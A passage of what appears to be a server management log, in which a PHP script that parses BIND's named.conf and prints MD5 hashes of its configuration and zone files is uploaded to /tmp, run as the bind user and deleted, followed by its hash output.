function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:22:11: 

runuser -l bind -s /bin/bash -c '/tmp/pkp470590; rm /tmp/pkp470590'

2026-04-22 18:22:11: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:22:13: Establishing a connection
2026-04-22 18:22:13: 

PUT: /tmp/pkp906148

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:22:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp906148; rm /tmp/pkp906148'

2026-04-22 18:22:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
